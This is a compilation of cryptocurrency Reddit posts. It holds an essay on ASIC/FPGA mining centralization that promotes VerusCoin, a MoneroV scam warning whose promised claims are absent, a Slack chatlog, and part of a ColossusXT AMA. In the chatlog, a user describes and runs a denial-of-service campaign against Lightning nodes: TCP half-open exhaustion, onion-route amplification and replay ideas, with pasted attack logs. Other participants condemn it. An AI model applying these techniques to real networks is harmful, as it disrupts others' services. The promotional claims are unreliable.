When Bitcoin first launched its genesis block, it was mined exclusively by CPUs. Over the years, various programmers and developers have devised newer, faster, and more energy efficient ways to generate higher hashrates; some by perfecting the software end of things, and others, when the incentives are great enough, create expensive specialized hardware such as ASICs (application-specific integrated circuit). With the express purpose of extracting every last bit of hashing power, efficiency being paramount, ASICs are stripped down, bare minimum, hardware representations of a specific coin’s algorithm.
This gives ASICS a massive advantage in terms of raw hashing power and also in terms of energy consumption against CPUs/GPUs, but with significant drawbacks of being very expensive to design/manufacture, translating to a high economic barrier for the casual miner. Due to the fact that they are virtual hardware representations of a single targeted algorithm, this means that if a project decides to fork and change algorithms suddenly, your powerful brand-new ASIC becomes a very expensive paperweight. The high costs in developing and manufacturing ASICs and the associated risks involved, make them unfit for mass adoption at this time.
Somewhere on the high end, in the vast hashrate expanse created between GPU and ASIC, sits the FPGA (field programmable gate array). FPGAs are basically ASICs that make some compromises with efficiency in order to have more flexibility, namely they are reprogrammable and often used in the “field” to test an algorithm before implementing it in an ASIC. As a precursor to the ASIC, FPGAs are somewhat similar to GPUs in their flexibility, but require advanced programming skills and, like ASICs, are expensive and still fairly uncommon.

2 Guys 1 ASIC

One of the issues with proof of work incentivizing the pursuit of higher hashrates is in how the network calculates block reward coinbase payouts and rewards miners based on the work that they have submitted. If a coin generated, say a block a minute, and this is a constant, then what happens if more miners jump on a network and do more work? The network cannot pay out more than 1 block reward per 1 minute, and so a difficulty mechanism is used to maintain balance. The difficulty will scale up and down in response to the overall nethash, so if many miners join the network, or extremely high hashing devices such as ASICs or FPGAs jump on, the network will respond accordingly, using the difficulty mechanism to make the problems harder, effectively giving an edge to hardware that can solve them faster, balancing the network. This not only maintains the block a minute reward but it has the added side-effect of energy requirements that scale up with network adoption.
Imagine, for example, if one miner gets on a network all alone with a CPU doing 50 MH/s and is getting all 100 coins that can possibly be paid out in a day. Then, if another miner jumps on the network with the same CPU, each miner would receive 50 coins in a day instead of 100 since they are splitting the required work evenly, despite the fact that the net electrical output has doubled along with the work. Electricity costs miner’s money and is a factor in driving up coin price along with adoption, and since more people are now mining, the coin is less centralized. Now let’s say a large corporation has found it profitable to manufacture an ASIC for this coin, knowing they will make their money back mining it or selling the units to professionals. They join the network doing 900 MH/s and will be pulling in 90 coins a day, while the two guys with their CPUs each get 5 now. Those two guys aren’t very happy, but the corporation is. Not only does this negatively affect the miners, it compromises the security of the entire network by centralizing the coin supply and hashrate, opening the doors to double spends and 51% attacks from potential malicious actors. Uncertainty of motives and questionable validity in a distributed ledger do not mix.
When technology advances in a field, it is usually applauded and welcomed with open arms, but in the world of crypto things can work quite differently. One of the glaring flaws in the current model and the advent of specialized hardware is that it’s never ending. Suppose the two men from the rather extreme example above took out a loan to get themselves that ASIC they heard about that can get them 90 coins a day? When they join the other ASIC on the network, the difficulty adjusts to keep daily payouts consistent at 100, and they will each receive only 33 coins instead of 90 since the reward is now being split three ways. Now what happens if a better ASIC is released by that corporation? Hopefully, those two guys were able to pay off their loans and sell their old ASICs before they became obsolete.
This system, as it stands now, only perpetuates a never ending hashrate arms race in which the weapons of choice are usually a combination of efficiency, economics, profitability and in some cases control.

Implications of Centralization

This brings us to another big concern with expensive specialized hardware: the risk of centralization. Because they are so expensive and inaccessible to the casual miner, ASICs and FPGAs predominantly remain limited to a select few. Centralization occurs when one small group or a single entity controls the vast majority hash power and, as a result, coin supply and is able to exert its influence to manipulate the market or in some cases, the network itself (usually the case of dishonest nodes or bad actors).
This is entirely antithetical of what cryptocurrency was born of, and since its inception many concerted efforts have been made to avoid centralization at all costs. An entity in control of a centralized coin would have the power to manipulate the price, and having a centralized hashrate would enable them to affect network usability, reliability, and even perform double spends leading to the demise of a coin, among other things.
The world of crypto is a strange new place, with rapidly growing advancements across many fields, economies, and boarders, leaving plenty of room for improvement; while it may feel like a never-ending game of catch up, there are many talented developers and programmers working around the clock to bring us all more sustainable solutions.

The Rise of FPGAs

With the recent implementation of the commonly used coding language C++, and due to their overall flexibility, FPGAs are becoming somewhat more common, especially in larger farms and in industrial setting; but they still remain primarily out of the hands of most mining enthusiasts and almost unheard of to the average hobby miner. Things appear to be changing though, one example of which I’ll discuss below, and it is thought by some, that soon we will see a day when mining with a CPU or GPU just won’t cut it any longer, and the market will be dominated by FPGAs and specialized ASICs, bringing with them efficiency gains for proof of work, while also carelessly leading us all towards the next round of spending.
A perfect real-world example of the effect specialized hardware has had on the crypto-community was recently discovered involving a fairly new project called VerusCoin and a fairly new, relatively more economically accessible FPGA. The FPGA is designed to target specific alt-coins whose algo’s do not require RAM overhead. It was discovered the company had released a new algorithm, kept secret from the public, which could effectively mine Verus at 20x the speed of GPUs, which were the next fastest hardware types mining on the Verus network.
Unfortunately this was done with a deliberately secret approach, calling the Verus algorithm “Algo1” and encouraging owners of the FPGA to never speak of the algorithm in public channels, admonishing a user when they did let the cat out of the bag. The problem with this business model is that it is parasitic in nature. In an ecosystem where advancements can benefit the entire crypto community, this sort of secret mining approach also does not support the philosophies set forth by the Bitcoin or subsequent open source and decentralization movements.
Although this was not done in the spirit of open source, it does hint to an important step in hardware innovation where we could see more efficient specialized systems within reach of the casual miner. The FPGA requires unique sets of data called a bitstream in order to be able to recognize each individual coin’s algorithm and mine them. Because it’s reprogrammable, with the support of a strong development team creating such bitstreams, the miner doesn’t end up with a brick if an algorithm changes.

All is not lost thanks to.. um.. Technology?

Shortly after discovering FPGAs on the network, the Verus developers quickly designed, tested, and implemented a new, much more complex and improved algorithm via a fork that enabled Verus to transition smoothly from VerusHash 1.0 to VerusHash 2.0 at block 310,000. Since the fork, VerusHash 2.0 has demonstrated doing exactly what it was designed for- equalizing hardware performance relative to the device being used while enabling CPUs (the most widely available “ASICs”) to mine side by side with GPUs, at a profit and it appears this will also apply to other specialized hardware. This is something no other project has been able to do until now. Rather than pursue the folly of so many other projects before it- attempting to be “ASIC proof”, Verus effectively achieved and presents to the world an entirely new model of “hardware homogeny”. As the late, great, Bruce Lee once said- “Don’t get set into one form, adapt it and build your own, and let it grow, be like water.”
In the design of VerusHash 2.0, Verus has shown it doesn’t resist progress like so many other new algorithms try to do, it embraces change and adapts to it in the way that water becomes whatever vessel it inhabits. This new approach- an industry first- could very well become an industry standard and in doing so, would usher in a new age for proof of work based coins. VerusHash 2.0 has the potential to correct the single largest design flaw in the proof of work consensus mechanism- the ever expanding monetary and energy requirements that have plagued PoW based projects since the inception of the consensus mechanism. Verus also solves another major issue of coin and net hash centralization by enabling legitimate CPU mining, offering greater coin and hashrate distribution.
Digging a bit deeper it turns out the Verus development team are no rookies. The lead developer Michael F Toutonghi has spent decades in the field programming and is a former Vice President and Technical Fellow at Microsoft, recognized founder and architect of Microsoft's .Net platform, ex-Technical Fellow of Microsoft's advertising platform, ex-CTO, Parallels Corporation, and an experienced distributed computing and machine learning architect. The project he helped create employs and makes use of a diverse myriad of technologies and security features to form one of the most advanced and secure cryptocurrency to date. A brief description of what makes VerusCoin special quoted from a community member-
"Verus has a unique and new consensus algorithm called Proof of Power which is a 50% PoW/50% PoS algorithm that solves theoretical weaknesses in other PoS systems (Nothing at Stake problem for example) and is provably immune to 51% hash attacks. With this, Verus uses the new hash algorithm, VerusHash 2.0. VerusHash 2.0 is designed to better equalize mining across all hardware platforms, while favoring the latest CPUs over older types, which is also one defense against the centralizing potential of botnets. Unlike past efforts to equalize hardware hash-rates across different hardware types, VerusHash 2.0 explicitly enables CPUs to gain even more power relative to GPUs and FPGAs, enabling the most decentralizing hardware, CPUs (due to their virtually complete market penetration), to stay relevant as miners for the indefinite future. As for anonymity, Verus is not a "forced private", allowing for both transparent and shielded (private) transactions...and private messages as well"

If other projects can learn from this and adopt a similar approach or continue to innovate with new ideas, it could mean an end to all the doom and gloom predictions that CPU and GPU mining are dead, offering a much needed reprieve and an alternative to miners who have been faced with the difficult decision of either pulling the plug and shutting down shop or breaking down their rigs to sell off parts and buy new, more expensive hardware…and in so doing present an overall unprecedented level of decentralization not yet seen in cryptocurrency.
Technological advancements led us to the world of secure digital currencies and the progress being made with hardware efficiencies is indisputably beneficial to us all. ASICs and FPGAs aren’t inherently bad, and there are ways in which they could be made more affordable and available for mass distribution. More than anything, it is important that we work together as communities to find solutions that can benefit us all for the long term.

In an ever changing world where it may be easy to lose sight of the real accomplishments that brought us to this point one thing is certain, cryptocurrency is here to stay and the projects that are doing something to solve the current problems in the proof of work consensus mechanism will be the ones that lead us toward our collective vision of a better world- not just for the world of crypto but for each and every one of us.
submitted by Godballz to CryptoCurrency [link] [comments]

Warning: Do not invest in MoneroV.

Okay MoneroV gets posted about enough I think it's time someone told the truth about what's going on. Save this post and paste it on other XMV threads, because this shit is a fucking scam.

Everything MoneroV does "differently" is a lie. Here are their claims.

Please save, share and spread this post like wildfire. As a large user of Monero I'm making this post completely against my own economical gain, but this really needs to be said. I would even encourage you to ask these questions on their subreddit (although fair warning you will get banned ). Stay safe and happy forking.

submitted by OsrsNeedsF2P to CryptoCurrency [link] [comments]

The chatlog from #lightning-network discussing recent Lightning DDOS/vulnerability

bitPico [5:49 PM] If any LN testers see their connection slots full it’s us. We will release the attack code when ready. The network needs better protection against DDoS’s. (edited)
Laolu Osuntokun [5:59 PM] ? or report to specific implementations @bitPico? like the early days of bitcoin, don't think many impls have even started to start to cover dos vectors busy working on safety in other aspects
bitPico [6:00 PM] As it stands no implementation can handle connection exhaustion attacks by overflowing the underlying TCP stack.
Laolu Osuntokun [6:00 PM] not sure if any limit inbound connections yet
bitPico [6:02 PM] Doesn’t matter; we use the TCP half-open attack. This occurs at the kernel.
Laolu Osuntokun [6:02 PM] sure you'd still run into fd limits so that's not really impl specific
bitPico [6:02 PM] Yes; we exhaust the FD’s. (edited)
Laolu Osuntokun [6:04 PM] you could do the same for any active bitcoin node today, nodes would need to set up network-level mitigations unless the impls were super low level enough to detect something like that so would really depend on their default kernel settings
Matt Drollette [6:10 PM] echo 1 > /proc/sys/net/ipv4/tcp_syncookies … ?
bitPico [6:14 PM] Our Bitcoin implementation performs round-robin disconnects to induce network churn. This is one of the best methods to prevent most TCP attacks. Churn is needed in decentralized systems. It keeps them robust. Longstanding TCP connections are bad. *ie we disconnect N nodes every T mins.
Laolu Osuntokun [6:18 PM] if it's half open, how are you detecting the TCP connections then @bitPico? well for LN the connections are typically long lived @mdrollette yeh, defenses are at the kernel lvl
bitPico [6:21 PM] Round-robin disconnects free the kernel FD’s. There is also App level half-connect Works like this Syn Ack But don’t sent the Ack The connection is then half-open TCP connect scans work like this. TCP half-open scans are harder to detect.
ɹɑd [6:33 PM] Is there a way to tell lnd to listen on ipv4 instead of ipv6? When I try lnd --listen=0.0.0.0:9735 ..., it is listening on IPv6 TCP *:9735 but I need it to listen on IPv4.
Matt Drollette [6:34 PM] I think if you give it a specific IP instead of 0.0.0.0 it will only bind to that specific interface
ɹɑd [6:34 PM] ok, trying that…
bitPico [6:36 PM] Dual-stack OS will still open IPv6 Windows and Linux are VERY different TCP stacks. The behaviour is different.
ɹɑd [6:38 PM] Nice, that worked. Thanks, @mdrollette
bitPico [7:13 PM] How does LN protect from “dead end packets”? ie* onion wrapped but final destination doesn’t exist. aka routing amplification attack
kekalot [7:14 PM] :trumpet::skull:
bitPico [7:16 PM] We will test it and perform a 100,000 route amplification. We are trying to make our test kit reusable as possible to work out the kinks. (edited)
kekalot [7:16 PM] :trumpet::skull:
bitPico [7:25 PM] Seeing bad OP-SEC on LN; don’t name your node as the type of hardware. Those raspberry pi’s will go down.
kekalot [7:25 PM] :trumpet: :skull:
camelCase [7:26 PM] :joy:
bitPico [7:26 PM] ie* eclair.raspberry.pi
Abhijeet singh [8:05 PM] joined #lightning-network.
bitPico [8:48 PM] https://gist.github.com/anonymous/46f6513625579c5a920fe04b32103a03 Already running some custom attack vectors on LN nodes to see how they standup.
Sun Mar 18 23:49:08 [INFO] - open_tcp_transports: Preparing TCP connection to x.x.x.x:9735 for attack vector TCPHO. Sun Mar 18 23:49:08 [INFO] - open_tcp_transports: Preparing TCP connection to x.x.x.x:9735 for attack vector TCPHO. Sun Mar 18 23:49:08 [INFO] - open_tcp_transports: Preparing TCP connection to x.x.x.x:9735 for attack vector TCPHO. Sun Mar 18 23:49:08 [INFO] - open_tcp_transports: Preparing TCP connection to x.x.x.x:9735 for attack vector TCPHO. Sun Mar 18 23:49:08 [INFO] - open_tcp_transports: Preparing TCP connection to x.x.x.x:9735 for attack vector TCPHO. Sun Mar 18 23:49:08 [INFO] - open_tcp_transports: Preparing TCP connection to x.x.x.x:9735 for attack vector TCPHO. Sun Mar 18 23:49:08 [INFO] - open_tcp_transports: Preparing TCP connection to x.x.x.x:9735 for attack vector TCPHO. Sun Mar 18 23:49:08 [INFO] - open_tcp_transports: Preparing TCP connection to x.x.x.x:9735 for attack vector TCPHO. Sun Mar 18 23:49:08 [INFO] - open_tcp_transports: Preparing TCP connection to x.x.x.x:9735 for attack vector TCPHO. Sun Mar 18 23:49:08 [INFO] - open_tcp_transports: Preparing TCP connection to We expect to perfect this testsuite by the weekend with some very useable attack vectors Sun Mar 18 23:51:19 [INFO] - operator(): TCP connection to x.x.x.x:9735 success, sending attack payload. Sun Mar 18 23:51:19 [INFO] - operator(): TCP connection to x.x.x.x:9735 failed, message = Connection refused. Sun Mar 18 23:51:19 [INFO] - operator(): TCP connection to x.x.x.x:9735 success, sending attack payload. Sun Mar 18 23:51:19 [INFO] - operator(): TCP connection to x.x.x.x:9735 success, sending attack payload. Sun Mar 18 23:51:19 [INFO] - operator(): TCP connection to x.x.x.x:9735 success, sending attack payload. Sun Mar 18 23:51:19 [INFO] - operator(): TCP connection to x.x.x.x:9735 success, sending attack payload.
:+1: If you notice weird traffic it’s us.
bitPico [9:00 PM] We are most interested in our “route payload amplification” attack vector. This attack onion wraps payloads via hop by hop where the last hop is the first hop creating a self-denial of service where the LN nodes attack themselves after long route traversal. Exploiting the anonymous nature of onion routing allows no defense to the network. Anonymous routing in and of itself creates a situation where the network can get into an endless loop of self DDoS. Once we complete the entire message serialization routines and a deadline timer the TESTBED will run standalone continuously. Prob. only take another day to complete that. We are also making attack vectors as base classes so new ones can be easily created via overrides. *ie plugin-like attack vectors
Russell O'Connor [9:22 PM] https://lists.linuxfoundation.org/pipermail/lightning-dev/2015-August/000135.html
bitPico [9:26 PM] Yes; that idea and our attack vector(s) makes the entire network fall apart. We will prove this works. (edited) When nobody trusts nobody the network collapses. Low level attacks requiring no fees are easier however. (edited) There is nothing to prevent spoofing via replay of older packets. Because onion routing requires decryption (CPU Intensive) this can also be used to clog pathways with old payloads via CPU exhaustion. (edited) This is the real reason why ToR is so damn slow; it’s constantly attacked. It has nothing to do with end users actions.
Matt Drollette [9:34 PM] https://github.com/lightningnetwork/lnd/pull/761 GitHub Switch Persistence [ALL]: Forwarding Packages + Sphinx Replay Protection + Circuit Persistence by cfromknecht · Pull Request #761 · lightningnetwork/lnd This PR builds on #629, and integrates the changes with my more recent work on forwarding packages and batch-replay protection provided via pending changes to lightning-onion repo. Save one or two ...
bitPico [9:40 PM] (#)761 doesn’t impact our AV_03 It does however cause nodes to use more CPU and possibly go to disk per the notes. If LN nodes must go to disk this is bad. The slowest code pathways make the best AV’s.
bitPico [9:52 PM] CircuitKey’s are allocated “on the heap”. (edited) Underlying implementation would use malloc/realloc/free. Instead of RAII. This is asking for an overflow into unknown memory segments. We suggest stack only allocation. Memory on the stack is trivial to maintain; it has no holes; it can be mapped straight into the cache; it is attached on a per-thread basis. Memory in the heap is a heap of objects; it is more difficult to maintain; it can have holes.
Laolu Osuntokun [9:59 PM] @bitPico cpu usage is super minimal, this isn't tor so we're not relaying like gigabytes unknown memory segments? golang is a memory safe language stuff goes on the stack, then escape analysis is used to decide what should go on the heap
bitPico [10:00 PM] Heap allocation is more of a concern here. golang is not memory safe; it uses C underneath.
Laolu Osuntokun [10:01 PM] uhh
bitPico [10:01 PM] golang is not written in golang :slightly_smiling_face:
Laolu Osuntokun [10:01 PM] yes it is... https://github.com/golang/go/blob/mastesrc/runtime/map.go GitHub golang/go go - The Go programming language
bitPico [10:02 PM] That’s like saying the C runtime is C and not ASM. The C runtime is ASM.
Laolu Osuntokun [10:02 PM] go is written in go before go 1.4 (maybe 1.5) is was written in c but still, your "attack vector" isn't an implementation level issue, it's a network/kernel level DoS recycling, syn cookies, etc, would be needed not impl level defenses (edited)
bitPico [10:07 PM] We know the answer but what does golang compile to?
Laolu Osuntokun [10:07 PM] also replay htlc's will be rejected native?
bitPico [10:08 PM] ASM
Laolu Osuntokun [10:08 PM] yeh...
bitPico [10:08 PM] So what we said is exactly true.
Laolu Osuntokun [10:08 PM] no?
bitPico [10:08 PM] It’s as vulnerable as we stated.
Laolu Osuntokun [10:08 PM]
the heap is a heap of objects; it is more difficult to maintain; it can have holes
bitPico [10:09 PM] It still allocates through OS heap memory and not onto the stack in your case here. Which means it has holes.
Laolu Osuntokun [10:10 PM] aight, lemmie know when you exploit these issues in the golang runtime here's the code if you wanna study it: https://github.com/golang/go/ GitHub golang/go go - The Go programming language
bitPico [10:11 PM] ASM is ASM. Heap is heap. Heap is bad in this case. Stack is wise. Same applies to C or C++. Avoid the heap at all costs.
Laolu Osuntokun [10:12 PM] aye aye, capt
stark [10:12 PM] replied to a thread: Seeing bad OP-SEC on LN; don’t name your node as the type of hardware. Those raspberry pi’s will go down. don't name your node at all....
bitPico [10:12 PM] https://www.cs.ru.nl/E.Poll/hacking/slides/hic4.pdf
Laolu Osuntokun [10:13 PM] cool, i'll be waiting on those exploits in the go runtime, i'm sure many others will be excited as well
bitPico [10:14 PM] Has nothing to do with go. It uses malloc underneath. Heap always uses malloc; go, c or c++ or java or whatever.
Laolu Osuntokun [10:15 PM] sure, i think many of us know how memory management works
bitPico [10:15 PM] http://security.cs.rpi.edu/courses/binexp-spring2015/lectures/17/10_lecture.pdf Security experts avoid heap allocation. This is common knowledge. Noticed somebody commented about performance of the PR. That is because of the use of heap allocation instead of stack.
Laolu Osuntokun [10:17 PM] no, it's because of the disk I/O
bitPico [10:18 PM] So LN nodes write data to disk in case of crash? As to not lose funds? That’s what the PR says. Anyway golang uses libc; it is not compiled into pure ASM. (edited) Nevertheless we are not focusing on golang; LN in general and TCP/IP stacks.
ɹɑd [10:22 PM] @bitPico write an exploit and get back with us. Until then it just sounds like concern trolling.
bitPico [10:24 PM] Funny, we are exhausting LN TCP/IP Stacks as we type this… It’s no good if we can overtake the TCP stack and run it out of FD’s. We have 100's of connections to LN nodes and it;s automated using our hand built attack toolkit. When we increase this to 1000's then what?
Matt Drollette [10:26 PM] Isn’t that true of any TCP service though? Or are you saying there is something Lightning or lnd specific about your method?
Laolu Osuntokun [10:26 PM] it's true of any TCP service the defenses are on the kernel level
bitPico [10:27 PM] You’d need to have LN code handle millions of connections to mitigate this. We know golang will crash if this happens. But so will C.
Matt Drollette [10:29 PM] I’m beginning to wonder if @bitPico is actually performing a meta-attack on Lightning. A denial-of-service at the developer level with all this subtle trolling
bitPico [10:29 PM] This first problem is LN keeps inbound connections alive. It does not handle and drop them like a webserver. This is the only reason webservers can scale. Apache uses a timeout of 3 seconds in most cases. Currently we are connected to 45 LN nodes with over 22K connections. One variable change on our end and the network will suffer. (edited)
Matt Drollette [10:31 PM] but is that variable on the heap?
bitPico [10:32 PM] On Linux consider forcing it to require 999999 FD’s. AND do not keep-alive connections. The variable is an enum (an integer). Attack aggressiveness
Matt Drollette [10:33 PM] I’m just joking with you :stuck_out_tongue: I look forward to the write-up on the attack
bitPico [10:33 PM] Otherwise our code will keep LN nodes hung in TIME_WAIT. Anyway we are not trolling; we are BTC whales and LN must not fail. Otherwise our investment suffers. The only motivation behind this testing… As it stands LN nodes need L7 LB. Code will run overnight; sleep before we continue. Good job though on LN so far.
bitPico [10:46 PM] uploaded and commented on this image: Screen Shot 2018-03-19 at 1.44.19 AM.png
Fun stats: We’ve sucked 3.3 GB’s of bandwidth per hour from LN nodes. This will continue while we sleep. Every 80 milliseconds there is 44 attacks being performed.
bitPico [10:48 PM] :sleeping:
kekalot [1:35 AM] Seems likely. They were also the one who claimed segwit 2x would continue after it was officially canceled. Matt Drollette I’m beginning to wonder if @bitPico is actually performing a meta-attack on Lightning. A denial-of-service at the developer level with all this subtle trolling Posted in #lightning-network Mar 18th
bitcoinhunter [3:07 AM] So you put down the network @bitPico or just DDosing dev`s time ?
kekalot [3:08 AM] technically youd need multiple people to be doing it to be considered DDoS this is just DoS
Mike Rizzo [7:57 AM] joined #lightning-network.
Alphonse Pace [8:31 AM] bitpico: are you bragging about attacking computer networks on here?
Bear Shark [9:54 AM] That was the funnest 5 minutes of my life. Watching a guy go from bragging about attempting a DoS to deleting the account.
aceat64 [9:56 AM] Reporting an attack vector is fine, releasing PoC code is fine, but actually DoSing a network is a crime, and to just go online and brag about it, wow The only way that could have been worse would be if they didn't use a pseudonym
Bear Shark [9:58 AM] It's fine. He was probably sitting behind 3 tor exits and 10 VPNs (edited)
chek2fire [10:09 AM] i see c-lightning is always at 80% cpu usage
Russell O'Connor [10:12 AM] Did bitPico delete their own account themselves?
kekalot [10:26 AM] @alp?
Alphonse Pace [10:27 AM] I banned. zero tolerance for illegal shit.
chek2fire [10:29 AM] and he says hitler is alive :stuck_out_tongue:
chek2fire [10:43 AM] i dont know why but the new version of lightning-c has a huge cpu usage (edited)
chek2fire [11:06 AM] is there possible not compatibility from lnd to c-lightning? i just connect bitrefil and they say that in their lnd node bitrefill payments works in my c-lightning is not working when i try to do a payment with their ln links i always get this "code" : 205, "message" : "Could not find a route", "data" : { "getroute_tries" : 2, "sendpay_tries" : 1 } }
hkjn [12:00 PM] was that just-banned bitpico the same one as this one? https://lists.linuxfoundation.org/pipermail/bitcoin-segwit2x/2017-Novembe000689.html
Russell O'Connor [12:02 PM] I believe they claimed to be. It's hard to know for sure I guess.
Matt Drollette [12:03 PM] Lest we forget.
ASM is ASM. Heap is heap. Heap is bad in this case. Stack is wise. Avoid the heap at all costs. - bitPico
Laolu Osuntokun [1:48 PM] lmao
Sent from my Space Ship
pebble [4:52 PM] joined #lightning-network.
camelCase [10:28 PM] could be possible to run two lnd nodes in sync between them? i mean wallet-wise (edited)
Justin Camarena [8:02 AM] Bitrefill getting DDos'd lol that bitpico tho
Brandy Lee Camacho [8:21 AM] joined #lightning-network.
chek2fire [8:53 AM] my c-lightning node has very high cpu usage is always at 80% in the same time bitcoin node is at 15-17%
Gregory Sanders [8:58 AM] @chek2fire could be the gossip silliness that's being worked on, or bitPico :stuck_out_tongue: probably gossip inefficiency
chek2fire [8:59 AM] maybe someone dos my node i dont know
Laolu Osuntokun [11:46 AM] time to learn how to use iptables folks
Sent from my Space Ship (edited)
camelCase [11:50 AM] anyone knows if what i asked above is possible? like running two or more nodes that replicate the wallet so you avoid having your channels offline
gonzobon [11:55 AM] https://twitter.com/alexbosworth/status/976158861722726405 Alex Bosworth ☇@alexbosworth Lightning nodes are getting DDOS'ed, rumor is that someone from the 2x effort known as "BitPico" has taken credit for this. The Lightning services I've deployed have been attacked from the start, with botnets, etc. Deploying in adversarial conditions, decentralization is hard.
Twitter Mar 20th
camelCase [11:56 AM] well... at least we know we wasn't trolling about that lol
v33r [11:58 AM] https://twitter.com/alexbosworth/status/976158861722726405
gonzobon [11:59 AM] beat you to it @v33r_ :stuck_out_tongue:
Tomislav Bradarić [12:23 PM] something something good for bitcoin but really, better to see how sturdy things are now than when lightning starts getting adopted more, like how the last rise in popularity was at the same time as blockchain spam
gonzobon [12:28 PM] andreas put it in context as a good testing opp.
Hiro Protagonist [1:04 PM] I so wanna get my old sysasmin-devops team together to start running lightning nodes under these conditions. Every website is attacked relentlessly by DoS, spoofing, etc. Defences exist but you need skills to figure out what to do.
submitted by bitsko to btc [link] [comments]

ColossusXT Q2 AMA Ends!

Thank you for being a part of the ColossusXT Reddit AMA! Below we will summarize the questions and answers. The team responded to 78 questions! If you question was not included, it may have been answered in a previous question. The ColossusXT team will do a Reddit AMA at the end of every quarter.
The winner of the Q2 AMA Contest is: Shenbatu
Q: Why does your blockchain exist and what makes it unique?
A: ColossusXT exists to provide an energy efficient method of supercomputing. ColossusXT is unique in many ways. Some coins have 1 layer of privacy. ColossusXT and the Colossus Grid will utilize 2 layers of privacy through Obfuscation Zerocoin Protocol, and I2P and these will protect users of the Colossus Grid as they utilize grid resources. There are also Masternodes and Proof of Stake which both can contribute to reducing 51% attacks, along with instant transactions and zero-fee transactions. This protection is paramount as ColossusXT evolves into the Colossus Grid. Grid Computing will have a pivotal role throughout the world, and what this means is that users will begin to experience the Internet as a seamless computational universe. Software applications, databases, sensors, video and audio streams-all will be reborn as services that live in cyberspace, assembling and reassembling themselves on the fly to meet the tasks at hand. Once plugged into the grid, a desktop machine will draw computational horsepower from all the other computers on the grid.
Q: What is the Colossus Grid?
A: ColossusXT is an anonymous blockchain through obfuscation, Zerocoin Protocol, along with utilization of I2P. These features will protect end user privacy as ColossusXT evolves into the Colossus Grid. The Colossus Grid will connect devices in a peer-to-peer network enabling users and applications to rent the cycles and storage of other users’ machines. This marketplace of computing power and storage will exclusively run on COLX currency. These resources will be used to complete tasks requiring any amount of computation time and capacity, or allow end users to store data anonymously across the COLX decentralized network. Today, such resources are supplied by entities such as centralized cloud providers which are constrained by closed networks, proprietary payment systems, and hard-coded provisioning operations. Any user ranging from a single PC owner to a large data center can share resources through Colossus Grid and get paid in COLX for their contributions. Renters of computing power or storage space, on the other hand, may do so at low prices compared to the usual market prices because they are only using resources that already exist.
Q: When will zerocoin be fully integrated?
A: Beta has been released for community testing on Test-Net. As soon as all the developers consider the code ready for Main-Net, it will be released. Testing of the code on a larger test network network will ensure a smooth transition.
Q: Is the end goal for the Colossus Grid to act as a decentralized cloud service, a resource pool for COLX users, or something else?
A: Colossus Grid will act as a grid computing resource pool for any user running a COLX node. How and why we apply the grid to solve world problems will be an ever evolving story.
Q: What do you think the marketing role in colx.? When ll be the inwallet shared nodes available...i know its been stated in roadmap but as u dont follow roadmap and offer everything in advance...i hope shared MN's to be avilable soon.
A: The ColossusXT (COLX) roadmap is a fluid design philosophy. As the project evolves, and our community grows. Our goal is to deliver a working product to the market while at the same time adding useful features for the community to thrive on, perhaps the Colossus Grid and Shared Masternodes